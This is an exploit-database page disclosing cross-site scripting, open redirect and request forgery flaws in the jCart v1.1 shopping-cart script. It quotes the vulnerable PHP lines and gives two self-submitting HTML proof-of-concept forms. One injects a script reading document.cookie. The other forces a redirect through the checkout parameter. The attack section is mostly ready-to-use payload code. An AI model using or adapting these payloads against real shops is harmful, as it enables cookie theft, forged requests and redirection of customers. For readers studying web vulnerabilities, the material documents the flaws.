Home / os / win7

[webapps / 0day] - jCart v1.1 Multiple XSS/CSRF/Open Redirec

Posted on 01 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities by p0deje in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==========================================================
jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
==========================================================

&lt;!--
     Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
     Date: 25.07.2010
     Author: p0deje
     Software Link: http://conceptlogic.com/jcart/
     Version: &lt;=1.1
     Tested on: OS Independent
     CVE : --
--&gt;
 
&lt;!-- 1. Cross-site Scripting --&gt;
 
&lt;!-- 
      Vulnerable code snippet:
      jcart.php
      -------------------------
      line 251:        $item_name = $_POST[$item_name];
      ...
      line 256:        $item_added = $this-&gt;add_item($item_id, $item_qty, $item_price, $item_name);
      -------------------------
 
      User-supplied input for variable $item_name isn&#039;t properly escaped.
 
      Proof-of-Concept:
--&gt;
      &lt;html&gt;
        &lt;form action=&quot;http://evil.host/jcart-1.1/jcart/jcart-relay.php&quot; method=&quot;POST&quot;&gt;
          &lt;input name=&quot;my-item-id&quot; value=&quot;3&quot; type=&quot;hidden&quot;&gt;
          &lt;input name=&quot;my-item-qty&quot; value=&quot;1&quot; type=&quot;hidden&quot;&gt;
          &lt;input name=&quot;my-item-name&quot; value=&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot; type=&quot;hidden&quot;&gt;
          &lt;input name=&quot;my-item-price&quot; value=&quot;33.25&quot; type=&quot;hidden&quot;&gt;
          &lt;input id=&quot;payload&quot; name=&quot;my-add-button&quot; value=&quot;add to cart&quot; class=&quot;button&quot; type=&quot;submit&quot;&gt;
          &lt;/form&gt;
          &lt;script&gt;
            document.getElementById(&#039;payload&#039;).click()
        &lt;/script&gt;
      &lt;/html&gt;
 
&lt;!--  2. Cross-site Scripting / Open Redirect --&gt;
 
&lt;!--
      Vulnerable code snippet
      jcart-gateway.php:
      -------------------------
      line 41:    header(&#039;Location: &#039; . $_POST[&#039;jcart_checkout_page&#039;]);
      -------------------------
 
      User-supplied data is not properly escaped before passing to header() function.
 
      Proof-of-Concept:
--&gt;
      &lt;html&gt;
        &lt;form action=&quot;http://evil.host/jcart-1.1/jcart/jcart-gateway.php&quot; method=&quot;POST&quot;&gt;
          &lt;input name=&quot;jcart_checkout_page&quot; value=&quot;http://www.google.com&quot; type=&quot;hidden&quot;&gt;
          &lt;input id=&quot;payload&quot; name=&quot;my-add-button&quot; value=&quot;add to cart&quot; class=&quot;button&quot; type=&quot;submit&quot;&gt;
          &lt;/form&gt;
          &lt;script&gt;
            document.getElementById(&#039;payload&#039;).click()
        &lt;/script&gt;
      &lt;/html&gt;
 
&lt;!--  3. Cross-site Request Forgery --&gt;
 
&lt;!--
      All requests of jCart are vulnerable to CSRF.
      Proof-of-Concept goes the same as for the first or the second vulnerability.
--&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-01]</pre></body></html>

 

TOP

Malware :

Exploits :